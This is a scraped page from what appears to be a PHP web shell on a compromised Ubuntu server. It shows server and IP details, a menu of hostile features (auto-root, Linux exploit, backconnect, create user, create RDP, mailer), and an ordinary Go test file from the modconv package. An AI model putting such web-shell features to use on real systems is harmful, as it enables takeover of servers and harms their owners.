Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
cmd /
go /
internal /
modconv /
[ HOME SHELL ]
Name
Size
Permission
Action
testdata
[ DIR ]
drwxr-xr-x
convert.go
2.32
KB
-rw-r--r--
convert_test.go
5.62
KB
-rw-r--r--
dep.go
3.28
KB
-rw-r--r--
glide.go
1
KB
-rw-r--r--
glock.go
600
B
-rw-r--r--
godeps.go
703
B
-rw-r--r--
modconv.go
652
B
-rw-r--r--
modconv_test.go
1.63
KB
-rw-r--r--
tsv.go
594
B
-rw-r--r--
vconf.go
652
B
-rw-r--r--
vjson.go
678
B
-rw-r--r--
vmanifest.go
702
B
-rw-r--r--
vyml.go
1007
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : modconv_test.go
// Copyright 2018 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package modconv import ( "bytes" "fmt" "io/ioutil" "path/filepath" "testing" ) var extMap = map[string]string{ ".dep": "Gopkg.lock", ".glide": "glide.lock", ".glock": "GLOCKFILE", ".godeps": "Godeps/Godeps.json", ".tsv": "dependencies.tsv", ".vconf": "vendor.conf", ".vjson": "vendor/vendor.json", ".vyml": "vendor.yml", ".vmanifest": "vendor/manifest", } func Test(t *testing.T) { tests, _ := filepath.Glob("testdata/*") if len(tests) == 0 { t.Fatalf("no tests found") } for _, test := range tests { file := filepath.Base(test) ext := filepath.Ext(file) if ext == ".out" { continue } t.Run(file, func(t *testing.T) { if extMap[ext] == "" { t.Fatal("unknown extension") } if Converters[extMap[ext]] == nil { t.Fatalf("Converters[%q] == nil", extMap[ext]) } data, err := ioutil.ReadFile(test) if err != nil { t.Fatal(err) } out, err := Converters[extMap[ext]](test, data) if err != nil { t.Fatal(err) } want, err := ioutil.ReadFile(test[:len(test)-len(ext)] + ".out") if err != nil { t.Error(err) } var buf bytes.Buffer for _, r := range out.Require { fmt.Fprintf(&buf, "%s %s\n", r.Mod.Path, r.Mod.Version) } for _, r := range out.Replace { fmt.Fprintf(&buf, "replace: %s %s %s %s\n", r.Old.Path, r.Old.Version, r.New.Path, r.New.Version) } if !bytes.Equal(buf.Bytes(), want) { t.Errorf("have:\n%s\nwant:\n%s", buf.Bytes(), want) } }) } }
Close